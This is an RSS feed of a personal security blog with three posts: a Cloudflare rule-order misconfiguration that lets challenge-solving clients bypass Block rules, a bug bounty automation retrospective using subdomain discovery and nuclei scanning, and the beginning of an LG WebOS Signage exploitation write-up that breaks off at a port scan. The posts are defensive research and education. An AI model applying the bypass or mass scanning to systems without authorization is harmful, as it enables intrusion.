<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Cybersecurity and research blog</title>
    <description>My personal security blog</description>
    <link>https://www.brzozowski.io/</link>
    <atom:link href="https://www.brzozowski.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Mon, 01 Jun 2026 12:53:39 +0000</pubDate>
    <lastBuildDate>Mon, 01 Jun 2026 12:53:39 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      
        <item>
          <title>Why Cloudflare rule order matters?</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/cloudflare_logo.png&quot; alt=&quot;Cloudflare logo.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Before jumping into this article please take a look at the following Cloudflare ruleset and think for a while what is wrong with it?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/cloudflare_1.png&quot; alt=&quot;Seemingly safe Cloudflare rule order.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I set up above rules and thought they would work like the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/cloudflare_2.png&quot; alt=&quot;Cloudflare rule schema (logo).&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the first glance it seems perfectly fine. Website administrator wants to challenge users opening the website to prevent bot traffic. Additionally he specifies a rule that blocks access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/metrics&lt;/code&gt; endpoint to prevent unauthorized access to Prometheus metrics. I was surprised when I enabled both rules and the this happened:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/cloudflare_3.gif&quot; alt=&quot;Result of enabled Cloudflare rules.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What is going on here?! The &lt;strong&gt;Block&lt;/strong&gt; rule was never executed and anyone could access my precious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/metrics&lt;/code&gt; endpoint! Let me explain what is going on. Cloudflare rules language consists of several &lt;strong&gt;Actions&lt;/strong&gt;. Action is a result of a matching rule. As for now, for custom security rules the following actions are allowed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Interactive Challenge&lt;/li&gt;
  &lt;li&gt;JS Challenge&lt;/li&gt;
  &lt;li&gt;Managed Challenge&lt;/li&gt;
  &lt;li&gt;Block&lt;/li&gt;
  &lt;li&gt;Skip&lt;/li&gt;
  &lt;li&gt;Log&lt;/li&gt;
  &lt;li&gt;Execute&lt;/li&gt;
  &lt;li&gt;Rewrite&lt;/li&gt;
  &lt;li&gt;Redirect&lt;/li&gt;
  &lt;li&gt;Route&lt;/li&gt;
  &lt;li&gt;Set Configuration&lt;/li&gt;
  &lt;li&gt;Compress Response&lt;/li&gt;
  &lt;li&gt;Set Cache Settings&lt;/li&gt;
  &lt;li&gt;Serve Error&lt;/li&gt;
  &lt;li&gt;Log custom field&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some actions however are &lt;strong&gt;Terminating Actions&lt;/strong&gt;. Terminating action will stop the evaluation of the remaining rules. This means that any rules, that are ordered AFTER a terminating action, will not be evaluated if the Terminating Action is executed. Cloudflare recognizes the following Terminating Actions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Interactive Challenge&lt;/li&gt;
  &lt;li&gt;JS Challenge&lt;/li&gt;
  &lt;li&gt;Managed Challenge&lt;/li&gt;
  &lt;li&gt;Block&lt;/li&gt;
  &lt;li&gt;Redirect&lt;/li&gt;
  &lt;li&gt;Serve Error&lt;/li&gt;
  &lt;li&gt;Log custom field&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This behavior is especially important when configuring Block rules that have real security impact. If a rule that restricts access to a resource is placed AFTER i.e. &lt;strong&gt;JS Challenge&lt;/strong&gt; action, it can be easily bypassed when a client completes the challenge and gets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cf_clearance&lt;/code&gt; cookie assigned. With this cookie, Cloudflare automatically clears request of any challenge rules meaning rule evaluation will be terminated.&lt;/p&gt;

&lt;p&gt;To sum up, to securely configure Cloudflare custom security rules, they should be grouped by resulting action and placed in the following order:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Skip&lt;/strong&gt; - Whitelist trusted IPs/services,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Block&lt;/strong&gt; - Most restrictive rules, cannot be bypassed,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Log&lt;/strong&gt; - Capture traffic before modifications,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Redirect&lt;/strong&gt; - URL redirections,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Serve Error&lt;/strong&gt; - Custom error pages,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Execute&lt;/strong&gt; - Transformation rules,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Rewrite&lt;/strong&gt; - Transformation rules,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Route&lt;/strong&gt; - Transformation rules,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Set Configuration&lt;/strong&gt; - Configuration rules,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Compress Response&lt;/strong&gt; - Performance rules,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Set Cache Settings&lt;/strong&gt; - Caching rules,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Log custom field&lt;/strong&gt; - Custom logging,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Interactive Challenge&lt;/strong&gt; - Challenge suspicious traffic,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;JS Challenge&lt;/strong&gt; - Challenge suspicious traffic,&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Managed Challenge&lt;/strong&gt; - Challenge suspicious traffic&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;exploitability&quot;&gt;Exploitability&lt;/h2&gt;
&lt;p&gt;And what about exploitability? Unfortunatelly, I was not able to confirm that this issue is exploitable at scale which can mean two things. Either my testing methodology (fuzzing with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cf_clearance&lt;/code&gt; cookie) was badly adjusted for this research, or this type of misconfigurations are very uncommon, and hard to detect in blackbox scenario.&lt;/p&gt;

&lt;p&gt;In other way this seems to be intended behavior even though Cloudflare dashboard is straight lying to you by saying that Block rule will execute after Challenge action:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/cloudflare_4.png&quot; alt=&quot;Cloudflare UI not at it&apos;s prime.&quot; /&gt;
&lt;em&gt;Above statement is not true, as the rule will never be evaluated after “Force bot detection” rule.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It was also funny to discover this exact &lt;a href=&quot;https://serverfault.com/questions/1059124/how-does-cloudflare-firwall-rules-order-work&quot;&gt;issue&lt;/a&gt; discussed on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serverfault.com&lt;/code&gt; forum some years ago. Looks like people had already problems understanding Cloudflare security rules a while ago.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References:&lt;/h3&gt;
&lt;p&gt;https://developers.cloudflare.com/ruleset-engine/rules-language/actions/
https://serverfault.com/questions/1059124/how-does-cloudflare-firwall-rules-order-work&lt;/p&gt;
</description>
          <pubDate>Wed, 11 Mar 2026 10:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/web-applications/2026/03/11/why-cloudflare-rule-order-matters.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/web-applications/2026/03/11/why-cloudflare-rule-order-matters.html</guid>
          
          
          <category>web-applications</category>
          
        </item>
      
    
      
        <item>
          <title>One year with bug bounty automation</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/bug_bounty_automation_logo.png&quot; alt=&quot;Bug bounty automation logo.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you’re reading this blog post, it’s likely that you’re also doing bug bounty. Maybe you’re even doing it professionally as a daily job. That’s great, and I envy you, as I could never really get into the idea of becoming a full-time bug bounty hunter. Maybe my past experiences with it, such as hitting the triage wall or long response times, discouraged me from stepping up my bug hunting game.&lt;/p&gt;

&lt;p&gt;However, I could not get the idea of having an almost self-sufficient automation that can perform reconnaissance, scan, and report security issues along multiple assets out of my mind. The more important question was whether such an approach would earn its keep or maybe even generate additional income.&lt;/p&gt;

&lt;h2 id=&quot;part-1---gathering-all-the-scope&quot;&gt;Part 1 - Gathering ALL the scope&lt;/h2&gt;
&lt;p&gt;I must admit that I’m a pretty lazy guy. Don’t get me wrong; I enjoy working in cybersecurity, and I can stare at code for hours to identify bugs. However, after work, I prefer to do other things, such as sport and spending time with friends and family. I don’t think I could spend 10+ hours a day trying to identify issues before other hunters can. So, I thought, “Let’s gather all the assets I can find in my bug bounty programs and start scanning them!” Sounds simple, right? Yeah, I thought so too.&lt;/p&gt;

&lt;p&gt;First, I made some assumptions before coding the automation. To minimize the chances of duplicates and reduce the number of assets, I chose to use only private bug bounty programs, as they tend to have more low-hanging fruit–type vulnerabilities that simple automation can find. I also assumed that I would only focus on wildcard scope, meaning that I would only discover and scan the scope presented in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.company.tld&lt;/code&gt;. This was necessary to unify the input for the automation, as programs tend to provide assets in a non-unified way. Some provide only certain URLs, while others prefer to use subdomains with wildcards. With the wildcard domain approach, you are also much more likely to avoid OOS (out-of-scope) reports, as it’s usually easy to justify a report for a subdomain in wildcard scope. Keeping this approach in mind, I gathered more than 500 domains from the following platforms:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Yogosha&lt;/li&gt;
  &lt;li&gt;Yeswehack&lt;/li&gt;
  &lt;li&gt;Cyberdart&lt;/li&gt;
  &lt;li&gt;Intigriti&lt;/li&gt;
  &lt;li&gt;Bugcrowd&lt;/li&gt;
  &lt;li&gt;Hackerone&lt;/li&gt;
  &lt;li&gt;Whitehub&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The scope was put into two different files that would act as a flat file database for the automation:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;File &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tlds.txt&lt;/code&gt; containing one domain in one line for reconnaisance input (at the moment of writing I realized that it should be actually called something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;domains.txt&lt;/code&gt; but I used the TLD format for long enough to just stick with it),&lt;/li&gt;
  &lt;li&gt;File &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;programs.txt&lt;/code&gt; containing information about programs and associated domains grouped by the platform. The file is structured in the following format:&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[...]
[HACKERONE] Private Company|private-company.com,private-company.net
[BUGCROWD] Foo Corp|foo.com,bar.net
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Well that was easy. We’ve now got all the input that is needed and and it can be just feeded it to the scanner.&lt;/p&gt;

&lt;h2 id=&quot;part-2---infrastructure-dillema&quot;&gt;Part 2 - Infrastructure dillema&lt;/h2&gt;
&lt;p&gt;Now, the realization kicked in. How should I approach building the automation itself, so it wouldn’t evolve into one of those never ending projects that you spend more time maintaining rather than actually using. I quickly threw the idea of building an automation platform from scratch, as it would require a lot of trial-and-error before it would eventually start working properly. Instead, a low-code security automation platform caught my attention - Trickest.&lt;/p&gt;

&lt;p&gt;Trickest platform is a modular approach to automation where you can choose between free and paid plans, and even use your own infrastructure to run security workflows. For some time, they even have a self-hosted version. The idea is really simple - you just install a Trickest agent on a VPS, and you are good to go. And as I am a faithful user of OVH cloud services, I chose to buy some servers from them. It turned out not to be the wisest idea because after running a simple subdomain reconnaissance workflow, my server was blacklisted by OVH due to DoS attack 🤡&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/bug_bounty_automation_1.png&quot; alt=&quot;Message from OVH Cloud saying that UDP traffic originating from my host is triggering their DDoS defences.&quot; /&gt;
&lt;em&gt;Message from OVH Cloud saying that UDP traffic originating from my host is triggering their DDoS defences.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After learning that it is impossible to turn off this “protection”, I wanted to use a VPS from other providers, such as AWS or DigitalOcean; however, their low-cost tier offer was much too pricey for this project to be financially affordable. As I would like to run multithreaded, CPU intensive workflows, I needed a beefy VPS that wouldn’t break the bank. My minimal requirements were:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;4 core CPU,&lt;/li&gt;
  &lt;li&gt;8 GB RAM,&lt;/li&gt;
  &lt;li&gt;60 GB of fast storage,&lt;/li&gt;
  &lt;li&gt;1 Gbit/s bandwidth,&lt;/li&gt;
  &lt;li&gt;1 TB of monthly traffic throughput,&lt;/li&gt;
  &lt;li&gt;&amp;lt;10 EUR per VPS/month&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While searching, I found this VPS price tracker &lt;a href=&quot;https://vpspricetracker.com/&quot;&gt;website&lt;/a&gt; that allows you to compare prices of niche VPS providers. I initially bought 3 servers from &lt;a href=&quot;https://atomicnetworks.co/&quot;&gt;Atomic Networks&lt;/a&gt;, as it was a killer value of about ~6 USD per VPS/month. Later, it turned out that with cheap VPS providers, you pay twice, as around December, they probably went bankrupt and were acquired by other providers, as whole Chicago datacenter was offline for a few weeks:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/bug_bounty_automation_2.png&quot; alt=&quot;Message from Atomic Networks following Chicago VPS outage for several day (how not to do datacenter migration).&quot; /&gt;
&lt;em&gt;Message from Atomic Networks following Chicago VPS outage for several day (how not to do datacenter migration).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now I am using Layer7 as a provider and I can’t complain about them - the price is slightly higher but at least the servers are in EU datacenter and there were no downtimes so far. In Trickest free tier, you can hook up to 3 external servers and if you want to use their cloud instances as scanning nodes you need to buy running credits which I choose not to do.&lt;/p&gt;

&lt;h2 id=&quot;part-3---discovering-the-targets&quot;&gt;Part 3 - Discovering the targets&lt;/h2&gt;
&lt;p&gt;Now moving on to the automation details. I previously mentioned that the input for the automation will be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tlds.txt&lt;/code&gt; file containing domains that are considered wildcard scope for bug bounty programs. I needed to construct an automation that will passively enumerate subdomains and check all alive hosts for the returned results. After some trial and error with already defined Trickest workflows and custom tests, I came up with the following flow that gave reasonably good results:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌─────────────────────────┐
│                         │
│        Get tlds.txt     │      ┌─────────────┐      ┌─────────────────────┐
│           file          ├─────►│             │      │                     │
│                         │      │  subfinder  ├─────►│ Send notification   │
└─────────────────────────┘      │             │      │ to Telegram channel │
┌─────────────────────────┐      └─────────────┘      └─────────────────────┘
│   provider-config.yaml  │              ▲
│                         ├──────────────┘
└─────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After workflow has finished, a notification with some statistics is sent to the Telegram channel:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/bug_bounty_automation_3.png&quot; alt=&quot;Notifications received in the Telegram channel.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next the automation will check all alive hosts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httpx&lt;/code&gt;. I focused only on identyfing alive web ports (80 and 443) since they are most common and also web vulnerabilities are among the most easy to scan in the wild. The workflow is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌─────────────────────────┐
│                         │
│    Get subdomains.txt   │      ┌─────────────┐      ┌─────────────────────┐
│           file          ├─────►│             │      │                     │
│                         │      │    httpx    ├─────►│   targets.txt       │
└─────────────────────────┘      │             │      │                     │
                                 │ • HTTP/HTTPS│      └─────────────────────┘
                                 │ • Follow    │      ┌─────────────────────┐
                                 │   redirects │      │                     │
                                 │ • Tech      ├─────►│   inventory.json    │
                                 │   discovery │      │   (detailed output) │
                                 │             │      │                     │
                                 └─────────────┘      └─────────────────────┘
                                         │
                                         │
                                         ▼
                                 ┌─────────────────────┐
                                 │                     │
                                 │ Send notification   │
                                 │ to Telegram channel │
                                 │ (host count)        │
                                 │                     │
                                 └─────────────────────┘

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Above workflows are very simplified as I needed to optimize the flow by adjusting host batch count, thread count for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httpx&lt;/code&gt; and add timeouts to prevent the scans from running endlessly. Usually batches of few thousand hosts and timeout of several seconds worked best for me and tend to yield most accurate results. I have also tried active subdomain enumeration using DNS brute force but such activities cause flood of UDP traffic which often is flagged by providers. Also it was much slower (couple hours vs. minutes) than passive recon and gave only about ~10% results more subdomains with decent wordlist. With this downsides in mind I decided to stick purely to passive subdomain enumeration.&lt;/p&gt;

&lt;p&gt;I previously mentioned that target discovery outputs an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inventory.json&lt;/code&gt; file. This file is a JSON array of identified hosts with the following structure:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;timestamp&quot;: &quot;2026-01-08T09:29:37.931520029Z&quot;,
  &quot;hash&quot;: {
[...]
  },
  &quot;port&quot;: &quot;443&quot;,
  &quot;url&quot;: &quot;https://target.com:443&quot;,
  &quot;input&quot;: &quot;target.com&quot;,
  &quot;title&quot;: &quot;Welcome to my website!&quot;,
  &quot;scheme&quot;: &quot;https&quot;,
  &quot;webserver&quot;: &quot;Apache&quot;,
  &quot;content_type&quot;: &quot;text/html&quot;,
  &quot;method&quot;: &quot;GET&quot;,
  &quot;host&quot;: &quot;1.3.3.7&quot;,
  &quot;path&quot;: &quot;/&quot;,
  &quot;time&quot;: &quot;70.207238ms&quot;,
  &quot;a&quot;: [
    &quot;1.3.3.7&quot;,
    &quot;1.3.3.8&quot;
  ],
  &quot;tech&quot;: [
    &quot;HSTS&quot;,&quot;Cloudflare&quot;,&quot;Apache&quot;
  ],
[...]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It contains multiple useful fields such as webserver infromation and page title. I find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tech&lt;/code&gt; field particulary useful as it helps you to search for assets with certain technologies used. &lt;strong&gt;This feature shines especially when a certain product is impacted by a 0-day vulnerability like React4Shell. It allows you to quickly idenitfy potenital vulnerable hosts among you asset inventory with a quick grep.&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;part-4---scanning-for-vulnerabilities&quot;&gt;Part 4 - Scanning for vulnerabilities&lt;/h2&gt;
&lt;p&gt;So I had a working “Target Discovery” workflow that was running 24/7 and was outputting latest list of alive hosts as a candidates to scan. So now let’s just feed them into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nuclei&lt;/code&gt;, scan and fuzz the targets and report the vulnerabilities. This part was probably the most challenging and the one where I learned that &lt;strong&gt;it’s impossible to cover whole attack surface with scanning and fuzzing for every possible vulnerability&lt;/strong&gt;. With such a large scope 200,000+ hosts and limited resources (3 servers), it’s impossible to run EVERY single vulnerability template for EVERY host. If you schedule such scan you will eventually run out of patience and memory (it’s up to you to choose which would happen first). I decided to analyze this problem scientifically and I came up with different approaches no which vulnerabilities to scan:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Approach 1 “Common Vulnerabilities” - Identify which vulnerabilities are statistically most common to be reported to bug bounty programs and scan only for them (i.e. directory listings, XSS, backup files, common misconfigurations),&lt;/li&gt;
  &lt;li&gt;Approach 2 “Latest Vulnerabilities” - Scan for recently discovered vulnerabilities and new templates,&lt;/li&gt;
  &lt;li&gt;Approach 3 “Random Vulnerabilities” - Scan for random vulnerabilities (at least you can only be average with random 😅)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After some optimizations I came up with the following workflow and from time to time I swapped between the approaches:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌─────────────────────────┐
│                         │
│    Get targets.txt      │      ┌─────────────┐      ┌─────────────────────┐
│           file          ├─────►│             │      │                     │
│                         │      │    Split    ├─────►│      nuclei         │
└─────────────────────────┘      │    into     │      │                     │
                                 │   batches   │      │ • Common vulns      │
                                 │             │      │ • Latest vulns      │
                                 └─────────────┘      │ • Random vulns      │
                                                      │                     │
                                                      └──────────┬──────────┘
                                                                 │
                                                                 │
                                                                 ▼
                                                      ┌─────────────────────┐
                                                      │                     │
                                                      │ Send notification   │
                                                      │ to Telegram channel │
                                                      │ (scan results)      │
                                                      │                     │
                                                      └─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To change the approaches to scanning I was just simply changing the way which templates were used by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nuclei&lt;/code&gt; to scan the hosts. For example for “Common Vulnerabilities” I was using templates like &lt;a href=&quot;https://github.com/projectdiscovery/nuclei-templates/blob/main/http/miscellaneous/directory-listing.yaml&quot;&gt;directory-listing&lt;/a&gt; or &lt;a href=&quot;https://github.com/projectdiscovery/nuclei-templates/blob/main/http/technologies/springboot-actuator.yaml&quot;&gt;springboot-actuator&lt;/a&gt;. For this approach I was getting a lot of noise, usually when I reported those issues they were either OOS (out-of-scope) or they were duplicates. I ended up creating an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exclude.txt&lt;/code&gt; file where I would keep a list of known issues so they would not get reported to the Telegram hook. In the end this approach resulted in pretty nice rewards but resulted in higher ratio of N/A reports and False Positives than other approaches.&lt;/p&gt;

&lt;p&gt;For “Latest Vulnerabilities” approach I was running only templates that were recently added to template repository. It was a nice approach and I got paid for several issues found this way. It was also much less noise from these workflows as newest templates are not always a commonly occuring issues.&lt;/p&gt;

&lt;p&gt;When it comes to “Random Vulnerabilities” I was surprised by how much true positive issues have been reported by this approach. I got several valid reports just by running random nuclei templates against buch of assets. So a takeway from this is that if you don’t know where to start your monitoring journey, scanning for random issues is always good 😄&lt;/p&gt;

&lt;p&gt;I have also set up a dynamic fuzzing automation using &lt;a href=&quot;https://github.com/wapiti-scanner/wapiti&quot;&gt;wapiti&lt;/a&gt; but I have not yet get any meaningful results from this approach (apart from getting rid of DAST FOMO).&lt;/p&gt;

&lt;h2 id=&quot;part-5---was-it-worth-it&quot;&gt;Part 5 - Was it worth it?&lt;/h2&gt;
&lt;p&gt;Now the interesting part, was it actually worth it? Because in the end it all breaks down to a summary of bills and the outcome if the automation was able to earn for itself. Total cost of the infrastructure used in the project was about around 17 USD per month, which rounds up to 205 USD per year when it comes to hosting costs.&lt;/p&gt;

&lt;p&gt;On Hackerone, several open redirects, directory listings and XSS’s summed up to total of 550 USD. On Intigriti I was able to only land one report rewarded for 50 USD. On Yogosha, I reported several security misconfigurations which summed up to 830 USD. The best results I’ve had with Bugcrowd where I scored a nice XSS and several other bugs that were rewarded 2350 USD in total. So total result for whole year was 3780 USD. When you substract costs of the hosting the net earnings are 3575 USD. So was it worth it? Business wise, yes! I was able to get a nice side profit by just running a bunch of automation scripts and actively scan for vulnerabilities. However I think that the real reward for this project was actually learning how to do bug bounty automation at scale, how to solve unexpected problems that occured during development and how to optimize the scans to get the best value from the reports. I would encourage anyone interested in bug bounty to try this full-automation approach themselves as it is a great opportunity to learn new skills (and earn some $$$).&lt;/p&gt;

&lt;p&gt;In the end I would like also to reflect on the fact why good vulnerability scanning automation is actually a hard thing to do? I think the answer comes from the multitiude of variables you have in the environment. Apart from rate limits, hardware limitations you have also a multitiude of approaches you can take. By far the most challenging parts I have to overcome when developing this project were:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Choosing the right scanning methodology and realizing that you will never be able to scan everything,&lt;/li&gt;
  &lt;li&gt;Optimizng the workflows so they yield reasonalby good results in finite amount of time,&lt;/li&gt;
  &lt;li&gt;Reducing the amount of False Positives from vulnerability scans.&lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>Mon, 16 Feb 2026 10:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/bug-bounty/2026/02/16/one-year-with-bug-bounty-automation.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/bug-bounty/2026/02/16/one-year-with-bug-bounty-automation.html</guid>
          
          
          <category>bug-bounty</category>
          
        </item>
      
    
      
        <item>
          <title>LG WebOS ‘Pwnage’ – getting unauthenticated code execution on enterprise Signage TVs</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_logo.jpeg&quot; alt=&quot;LG Pwnage logo&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;tldr&quot;&gt;tl;dr&lt;/h2&gt;
&lt;p&gt;This post is a summary of our security research work that started a year ago. Together with &lt;a href=&quot;https://twitter.com/trekfugler_&quot;&gt;Franek&lt;/a&gt;, we’ve targeted LG enterprise TV operating system – WebOS Signage. As a result of our work, we’ve discovered multiple vulnerabilities where only two of them were published by LG. Those vulnerabilities resulted in a chained exploit that allowed remote attacker on the same network to execute code on vulnerable TV as root user (if the default configuration is used).&lt;/p&gt;

&lt;h2 id=&quot;backstory&quot;&gt;Backstory&lt;/h2&gt;
&lt;p&gt;Last year, my colleague Franek and I completed an interesting pentesting assignment where we tested some enterprise conferencing hardware equipment. One of the devices we tested was an LG TV with a ‘Signage’ operating system. This version of the operating system was based on the standard WebOS software found on consumer-grade LG TVs, but with additional features such as remote control via a centralized app, automation, and a web panel for administrative tasks. The assignment ended and though we did not find any severe vulnerabilities in the TV itself, we’ve saw some research potential in it.&lt;/p&gt;

&lt;p&gt;We decided to buy one of the models running WebOS Signage operating system and put it on our workbench. However, we discovered that obtaining such hardware is not straightforward. To order the TV, you must make an ‘inquiry’ on the official website, become an LG partner, or purchase the TV from one of the technical partners.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_1.png&quot; alt=&quot;LG website shop&quot; /&gt;
&lt;em&gt;Purchase website of LG Signage TV.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;As we were not eager to start up our own company, we’ve decided to obtain the TV from less formal channels…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_2.png&quot; alt=&quot;TV purchase&quot; /&gt;
&lt;em&gt;Successful purchase of LG Signage TV.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;first-look&quot;&gt;First look&lt;/h2&gt;
&lt;p&gt;We have ended up buying LG SM5JUL3J model, which is a 32-inch screen that is running WebOS Signage version 6.0, allows centralized remote control, usage of external sensors and uses a FHD display. More specs about this model can be found &lt;a href=&quot;https://www.lg.com/pl/business/digital-signage/lg-32sm5j-b&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The unit was running a slightly outdated firmware - 03.05.90. We decided that we needed to get the firmware with either equal or newer version, so that we could first look in the device’s file system. We could do this in two ways - extract it from the device itself or obtain the firmware from the public Internet. We chose the second option, and a few quick n’ dirty google dorks later we found a website that allowed us to download the WebOS Signage firmware for at least some versions back - jackpot!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_3.png&quot; alt=&quot;Firmware download noborder&quot; /&gt;
&lt;em&gt;Firmware download page for LG WebOS Signage.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Downloaded firmware is in EPK format which is a proprietary LG Firmware Package file format. Luckily some development by the community was already done to decrypting and unpacking these firmware packages. We have used the &lt;a href=&quot;https://github.com/openlgtv/epk2extract&quot;&gt;epk2extract&lt;/a&gt; tool to unpack the firmware and get our hands on the filesystem.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_4.png&quot; alt=&quot;Extraction of the firmware&quot; /&gt;
&lt;em&gt;Extraction of the filesystem from EPK file.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_5.png&quot; alt=&quot;Extracted filesystem&quot; /&gt;
&lt;em&gt;Successfully extracted filesystem.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We wanted to confirm that the file system we’d extracted matched the files on our device. To discover any running services, we ran a full Nmap scan of the exposed TCP ports. The result showed that many services were enabled and accessible:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT      STATE SERVICE        REASON
443/tcp   open  https          syn-ack
515/tcp   open  printer        syn-ack
1252/tcp  open  bspne-pcc      syn-ack
1268/tcp  open  propel-msgsys  syn-ack
1391/tcp  open  iclpv-sas      syn-ack
1485/tcp  open  lansource      syn-ack
1619/tcp  open  xs-openstorage syn-ack
2046/tcp  open  sdfunc         syn-ack
3000/tcp  open  ppp            syn-ack
3001/tcp  open  nessus         syn-ack
3737/tcp  open  xpanel         syn-ack
8152/tcp  open  unknown        syn-ack
9080/tcp  open  glrpc          syn-ack
